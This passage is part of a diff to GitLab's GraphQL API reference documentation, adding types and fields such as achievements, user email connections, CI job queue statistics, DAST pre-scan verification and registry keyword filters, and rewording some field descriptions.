+Input type: `GroupMemberBulkUpdateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `accessLevel` | [`MemberAccessLevel!`](#memberaccesslevel) | Access level to update the members to. | +| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| `expiresAt` | [`Time`](#time) | Date and time the membership expires. | +| `groupId` | [`GroupID!`](#groupid) | Global ID of the group. | +| `userIds` | [`[UserID!]!`](#userid) | Global IDs of the group members. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| `groupMembers` | [`[GroupMember!]`](#groupmember) | Group members after mutation. | + ### `Mutation.groupUpdate` Input type: `GroupUpdateInput` @@ -3703,6 +3751,7 @@ Input type: `JobPlayInput` | ---- | ---- | ----------- | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `id` | [`CiBuildID!`](#cibuildid) | ID of the job to mutate. | +| `variables` | [`[CiVariableInput!]`](#civariableinput) | Variables to use when playing a manual job. | #### Fields @@ -3809,11 +3858,11 @@ Input type: `MergeRequestAcceptInput` | `commitMessage` | [`String`](#string) | Custom merge commit message. | | `iid` | [`String!`](#string) | IID of the merge request to mutate. | | `projectPath` | [`ID!`](#id) | Project the merge request to mutate is in. | -| `sha` | [`String!`](#string) | HEAD SHA at the time when this merge was requested. | +| `sha` | [`String!`](#string) | HEAD SHA at the time when the merge was requested. | | `shouldRemoveSourceBranch` | [`Boolean`](#boolean) | Should the source branch be removed. | | `squash` | [`Boolean`](#boolean) | Squash commits on the source branch before merge. | | `squashCommitMessage` | [`String`](#string) | Custom squash commit message (if squash is true). | -| `strategy` | [`MergeStrategyEnum`](#mergestrategyenum) | How to merge this merge request. | +| `strategy` | [`MergeStrategyEnum`](#mergestrategyenum) | How to merge the merge request. | #### Fields @@ -4406,7 +4455,7 @@ Input type: `ProjectCiCdSettingsUpdateInput` | `fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. | | `inboundJobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in other projects have restricted access to this project. | | `jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in this project have restricted access to other projects. | -| `keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. | +| `keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. | | `mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. | | `mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. | @@ -5400,7 +5449,7 @@ Input type: `UpdateBoardListInput` | Name | Type | Description | | ---- | ---- | ----------- | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| `collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for this user. | +| `collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for the user. | | `listId` | [`ListID!`](#listid) | Global ID of the list. | | `position` | [`Int`](#int) | Position of list within the board. | @@ -5542,7 +5591,7 @@ Input type: `UpdateEpicBoardListInput` | Name | Type | Description | | ---- | ---- | ----------- | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| `collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for this user. | +| `collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for the user. | | `listId` | [`BoardsEpicListID!`](#boardsepiclistid) | Global ID of the epic list. | | `position` | [`Int`](#int) | Position of list within the board. | @@ -5723,11 +5772,12 @@ Input type: `UpdateRequirementInput` | ---- | ---- | ----------- | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `description` | [`String`](#string) | Description of the requirement. | -| `iid` | [`String!`](#string) | IID of the requirement to update. | +| `iid` **{warning-solid}** | [`String`](#string) | **Deprecated:** Use work_item_iid instead. Deprecated in 15.8. | | `lastTestReportState` | [`TestReportState`](#testreportstate) | Creates a test report for the requirement with the given state. | | `projectPath` | [`ID!`](#id) | Full project path the requirement is associated with. | | `state` | [`RequirementState`](#requirementstate) | State of the requirement. | | `title` | [`String`](#string) | Title of the requirement. | +| `workItemIid` | [`String`](#string) | IID of the requirement work item to update. | #### Fields @@ -6213,6 +6263,29 @@ Some of the types in the schema exist solely to model connections. Each connecti has a distinct, named type, with a distinct named edge type. These are listed separately below. +#### `AchievementConnection` + +The connection type for [`Achievement`](#achievement). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `edges` | [`[AchievementEdge]`](#achievementedge) | A list of edges. | +| `nodes` | [`[Achievement]`](#achievement) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `AchievementEdge` + +The edge type for [`Achievement`](#achievement). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`Achievement`](#achievement) | The item at the end of the edge. | + #### `AgentConfigurationConnection` The connection type for [`AgentConfiguration`](#agentconfiguration). @@ -6838,6 +6911,7 @@ The connection type for [`CiRunner`](#cirunner). | ---- | ---- | ----------- | | `count` | [`Int!`](#int) | Total count of collection. | | `edges` | [`[CiRunnerEdge]`](#cirunneredge) | A list of edges. | +| `jobsStatistics` | [`CiJobsStatistics`](#cijobsstatistics) | Jobs statistics for jobs executed by a collection of runners. Available only to admins. | | `nodes` | [`[CiRunner]`](#cirunner) | A list of nodes. | | `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | @@ -7641,6 +7715,29 @@ The edge type for [`Discussion`](#discussion). | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`Discussion`](#discussion) | The item at the end of the edge. | +#### `EmailConnection` + +The connection type for [`Email`](#email). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `edges` | [`[EmailEdge]`](#emailedge) | A list of edges. | +| `nodes` | [`[Email]`](#email) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `EmailEdge` + +The edge type for [`Email`](#email). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`Email`](#email) | The item at the end of the edge. | + #### `EnvironmentConnection` The connection type for [`Environment`](#environment). @@ -8454,6 +8551,29 @@ The edge type for [`Milestone`](#milestone). | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`Milestone`](#milestone) | The item at the end of the edge. | +#### `NamespaceCommitEmailConnection` + +The connection type for [`NamespaceCommitEmail`](#namespacecommitemail). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `edges` | [`[NamespaceCommitEmailEdge]`](#namespacecommitemailedge) | A list of edges. | +| `nodes` | [`[NamespaceCommitEmail]`](#namespacecommitemail) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `NamespaceCommitEmailEdge` + +The edge type for [`NamespaceCommitEmail`](#namespacecommitemail). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`NamespaceCommitEmail`](#namespacecommitemail) | The item at the end of the edge. | + #### `NamespaceConnection` The connection type for [`Namespace`](#namespace). @@ -9783,9 +9903,11 @@ The connection type for [`Timelog`](#timelog). | Name | Type | Description | | ---- | ---- | ----------- | +| `count` | [`Int!`](#int) | Total count of collection. | | `edges` | [`[TimelogEdge]`](#timelogedge) | A list of edges. | | `nodes` | [`[Timelog]`](#timelog) | A list of nodes. | | `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | +| `totalSpentTime` | [`Int!`](#int) | Total time spent in seconds. | #### `TimelogEdge` @@ -10243,6 +10365,21 @@ Representation of a GitLab user. | `webPath` | [`String!`](#string) | Web path of the user. | | `webUrl` | [`String!`](#string) | Web URL of the user. | +### `Achievement` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `avatarUrl` | [`String`](#string) | URL to avatar of the achievement. | +| `createdAt` | [`Time!`](#time) | Timestamp the achievement was created. | +| `description` | [`String`](#string) | Description or notes for the achievement. | +| `id` | [`AchievementsAchievementID!`](#achievementsachievementid) | ID of the achievement. | +| `name` | [`String!`](#string) | Name of the achievement. | +| `namespace` | [`Namespace!`](#namespace) | Namespace of the achievement. | +| `revokeable` | [`Boolean!`](#boolean) | Revokeability of the achievement. | +| `updatedAt` | [`Time!`](#time) | Timestamp the achievement was last updated. | + ### `AgentConfiguration` Configuration details for an Agent. @@ -10275,6 +10412,7 @@ Describes an alert from the project's Alert Management. | Name | Type | Description | | ---- | ---- | ----------- | | `assignees` | [`UserCoreConnection`](#usercoreconnection) | Assignees of the alert. (see [Connections](#connections)) | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `createdAt` | [`Time`](#time) | Timestamp the alert was created. | | `description` | [`String`](#string) | Description of the alert. | | `details` | [`JSON`](#json) | Alert details. | @@ -10614,6 +10752,7 @@ Represents an epic on an issue board. | `blockingCount` | [`Int`](#int) | Count of epics that this epic is blocking. | | `closedAt` | [`Time`](#time) | Timestamp of when the epic was closed. | | `color` | [`String`](#string) | Color of the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `confidential` | [`Boolean`](#boolean) | Indicates if the epic is confidential. | | `createdAt` | [`Time`](#time) | Timestamp of when the epic was created. | | `defaultProjectForIssueCreation` | [`Project`](#project) | Default Project for issue creation. Based on the project the user created the last issue in. | @@ -10851,10 +10990,11 @@ List of branch rules for a project, grouped by branch name. | Name | Type | Description | | ---- | ---- | ----------- | | `approvalRules` | [`ApprovalProjectRuleConnection`](#approvalprojectruleconnection) | Merge request approval rules configured for this branch rule. (see [Connections](#connections)) | -| `branchProtection` | [`BranchProtection!`](#branchprotection) | Branch protections configured for this branch rule. | +| `branchProtection` | [`BranchProtection`](#branchprotection) | Branch protections configured for this branch rule. | | `createdAt` | [`Time!`](#time) | Timestamp of when the branch rule was created. | | `externalStatusChecks` | [`ExternalStatusCheckConnection`](#externalstatuscheckconnection) | External status checks configured for this branch rule. (see [Connections](#connections)) | | `isDefault` | [`Boolean!`](#boolean) | Check if this branch rule protects the project's default branch. | +| `isProtected` | [`Boolean!`](#boolean) | Check if this branch rule protects access for the branch. | | `matchingBranchesCount` | [`Int!`](#int) | Number of existing branches that match this branch rule. | | `name` | [`String!`](#string) | Branch name, with wildcards, for the branch rules. | | `updatedAt` | [`Time!`](#time) | Timestamp of when the branch rule was last updated. | @@ -11113,6 +11253,30 @@ CI/CD variables for a GitLab instance. | ---- | ---- | ----------- | | `projects` | [`ProjectConnection!`](#projectconnection) | Allow list of projects that can be accessed by CI Job tokens created by this project. (see [Connections](#connections)) | +### `CiJobsDurationStatistics` + +Representation of duration statistics for a group of CI jobs. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `p50` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 50th percentile. 50% of the durations are lower than this value. | +| `p75` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 75th percentile. 75% of the durations are lower than this value. | +| `p90` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 90th percentile. 90% of the durations are lower than this value. | +| `p95` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 95th percentile. 95% of the durations are lower than this value. | +| `p99` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 99th percentile. 99% of the durations are lower than this value. | + +### `CiJobsStatistics` + +Statistics for a group of CI jobs. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `queuedDuration` **{warning-solid}** | [`CiJobsDurationStatistics`](#cijobsdurationstatistics) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Statistics for amount of time that jobs were waiting to be picked up. The calculation is performed based on the most recent 100 jobs executed by the 5000 most recently created runners in context. If no filter is applied to runners, the calculation is performed based on the most recent 100 jobs globally. | + ### `CiManualVariable` CI/CD variables given to a manual job. @@ -11183,7 +11347,7 @@ CI/CD variables for a project. | `description` | [`String`](#string) | Description of the runner. | | `editAdminUrl` | [`String`](#string) | Admin form URL of the runner. Only available for administrators. | | `executorName` | [`String`](#string) | Executor last advertised by the runner. | -| `groups` | [`GroupConnection`](#groupconnection) | Types::GroupConnection. (see [Connections](#connections)) | +| `groups` | [`GroupConnection`](#groupconnection) | Groups the runner is associated with. For group runners only. (see [Connections](#connections)) | | `id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner. | | `ipAddress` | [`String`](#string) | IP address of the runner. | | `jobCount` | [`Int`](#int) | Number of jobs processed by the runner (limited to 1000, plus one to indicate that more items exist). | @@ -11769,6 +11933,30 @@ A custom emoji uploaded by user. | `name` | [`String!`](#string) | Name of the organization. | | `updatedAt` | [`Time!`](#time) | Timestamp the organization was last updated. | +### `DastPreScanVerification` + +Represents a DAST Pre Scan Verification. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `preScanVerificationSteps` | [`[DastPreScanVerificationStep!]`](#dastprescanverificationstep) | Pre Scan Verifications Steps. | +| `status` | [`DastPreScanVerificationStatus`](#dastprescanverificationstatus) | Status of the pre scan verification. | +| `valid` | [`Boolean!`](#boolean) | Whether or not the configuration has changed after the last pre scan run. | + +### `DastPreScanVerificationStep` + +Represents a DAST Pre Scan Verification Step. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `errors` | [`[String!]`](#string) | Errors that occurred in the pre scan verification step. | +| `name` | [`String`](#string) | Name of the pre scan verification step. | +| `success` | [`Boolean!`](#boolean) | Whether or not the pre scan verification step has errors. | + ### `DastProfile` Represents a DAST Profile. @@ -11778,6 +11966,7 @@ Represents a DAST Profile. | Name | Type | Description | | ---- | ---- | ----------- | | `branch` | [`DastProfileBranch`](#dastprofilebranch) | Associated branch. | +| `dastPreScanVerification` | [`DastPreScanVerification`](#dastprescanverification) | DAST Pre Scan Verification associated with the site profile. Will always return `null` if `dast_on_demand_scans_scheduler` feature flag is disabled. | | `dastProfileSchedule` | [`DastProfileSchedule`](#dastprofileschedule) | Associated profile schedule. | | `dastScannerProfile` | [`DastScannerProfile`](#dastscannerprofile) | Associated scanner profile. | | `dastSiteProfile` | [`DastSiteProfile`](#dastsiteprofile) | Associated site profile. | @@ -11839,6 +12028,7 @@ Represents a DAST scanner profile. | `scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | `showDebugMessages` | [`Boolean!`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | `spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | +| `tagList` | [`[String!]`](#string) | Runner tags associated with the scanner profile. | | `targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | `useAjaxSpider` | [`Boolean!`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -12080,6 +12270,33 @@ Tags for a given deployment. | `name` | [`String`](#string) | Name of this git tag. | | `path` | [`String`](#string) | Path for this tag. | +### `DescriptionVersion` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `canDelete` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| `deletePath` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| `deleted` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| `description` | [`String`](#string) | Content of the given description version. | +| `diffPath` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| `id` | [`DescriptionVersionID!`](#descriptionversionid) | ID of the description version. | + +#### Fields with arguments + +##### `DescriptionVersion.diff` + +Description diff between versions. + +Returns [`String`](#string). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `versionId` | [`DescriptionVersionID`](#descriptionversionid) | ID of a previous version to compare. If not specified first previous version is used. | + ### `Design` A single design. @@ -12088,6 +12305,7 @@ A single design. | Name | Type | Description | | ---- | ---- | ----------- | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `diffRefs` | [`DiffRefs!`](#diffrefs) | Diff refs for this design. | | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | | `event` | [`DesignVersionEvent!`](#designversionevent) | How this design was changed in the current version. | @@ -12495,6 +12713,18 @@ Returns [`[DoraMetric!]`](#dorametric). | `date` | [`String`](#string) | Date of the data point. | | `value` | [`Float`](#float) | Value of the data point. | +### `Email` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `confirmedAt` | [`Time`](#time) | Timestamp the email was confirmed. | +| `createdAt` | [`Time!`](#time) | Timestamp the email was created. | +| `email` | [`String!`](#string) | Email address. | +| `id` | [`ID!`](#id) | Internal ID of the email. | +| `updatedAt` | [`Time!`](#time) | Timestamp the email was last updated. | + ### `Environment` Describes where code is deployed for a project. @@ -12589,6 +12819,7 @@ Represents an epic. | `blockingCount` | [`Int`](#int) | Count of epics that this epic is blocking. | | `closedAt` | [`Time`](#time) | Timestamp of when the epic was closed. | | `color` | [`String`](#string) | Color of the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `confidential` | [`Boolean`](#boolean) | Indicates if the epic is confidential. | | `createdAt` | [`Time`](#time) | Timestamp of when the epic was created. | | `defaultProjectForIssueCreation` | [`Project`](#project) | Default Project for issue creation. Based on the project the user created the last issue in. | @@ -12830,6 +13061,7 @@ Relationship between an epic and an issue. | `blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. | | `closedAsDuplicateOf` | [`Issue`](#issue) | Issue this issue was closed as a duplicate of. | | `closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. | | `createNoteEmail` | [`String`](#string) | User specific email address for the issue. | | `createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | @@ -13162,6 +13394,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13180,12 +13413,13 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | ##### `GeoNode.dependencyProxyBlobRegistries` -Find Dependency Proxy Blob registries on this Geo node. Ignored if `geo_dependency_proxy_blob_replication` feature flag is disabled. +Find Dependency Proxy Blob registries on this Geo node. WARNING: **Introduced** in 15.6. @@ -13202,16 +13436,13 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | ##### `GeoNode.dependencyProxyManifestRegistries` -Find Dependency Proxy Manifest registries on this Geo node. Ignored if `geo_dependency_proxy_manifest_replication` feature flag is disabled. - -WARNING: -**Introduced** in 15.6. -This feature is in Alpha. It can be changed or removed at any time. +Find Dependency Proxy Manifest registries on this Geo node. Returns [`DependencyProxyManifestRegistryConnection`](#dependencyproxymanifestregistryconnection). @@ -13224,6 +13455,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13242,6 +13474,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13260,6 +13493,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13278,6 +13512,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13296,6 +13531,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13314,6 +13550,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13332,6 +13569,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13350,6 +13588,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13368,6 +13607,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13386,6 +13626,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13404,6 +13645,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| `keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | `replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | `verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13441,6 +13683,7 @@ GPG signature for a signed commit. | Name | Type | Description | | ---- | ---- | ----------- | +| `achievements` **{warning-solid}** | [`AchievementConnection`](#achievementconnection) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Achievements for the namespace. Returns `null` if the `achievements` feature flag is disabled. | | `actualRepositorySizeLimit` | [`Float`](#float) | Size limit for repositories in the namespace in bytes. | | `additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. | | `allowStaleRunnerPruning` | [`Boolean!`](#boolean) | Indicates whether to regularly prune stale group runners. Defaults to false. | @@ -14144,6 +14387,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -14529,6 +14773,7 @@ Describes an issuable resource link for incident issues. | `blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. | | `closedAsDuplicateOf` | [`Issue`](#issue) | Issue this issue was closed as a duplicate of. | | `closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. | | `createNoteEmail` | [`String`](#string) | User specific email address for the issue. | | `createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | @@ -14957,6 +15202,7 @@ Defines which user roles, users, or groups can merge into a protected branch. | `autoMergeEnabled` | [`Boolean!`](#boolean) | Indicates if auto merge is enabled for the merge request. | | `autoMergeStrategy` | [`String`](#string) | Selected auto merge strategy. | | `availableAutoMergeStrategies` | [`[String!]`](#string) | Array of available auto merge strategies. | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `commitCount` | [`Int`](#int) | Number of commits in the merge request. | | `commits` | [`CommitConnection`](#commitconnection) | Merge request commits. (see [Connections](#connections)) | | `commitsWithoutMergeCommits` | [`CommitConnection`](#commitconnection) | Merge request commits excluding merge commits. (see [Connections](#connections)) | @@ -15123,7 +15369,9 @@ A user assigned to a merge request. | `avatarUrl` | [`String`](#string) | URL of the user's avatar. | | `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| `commitEmail` | [`String`](#string) | User's default commit email. | | `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| `emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | `gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | `groupCount` | [`Int`](#int) | Group count for the user. | | `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15132,6 +15380,7 @@ A user assigned to a merge request. | `mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | `name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | `namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| `namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | `preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | `profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -15317,6 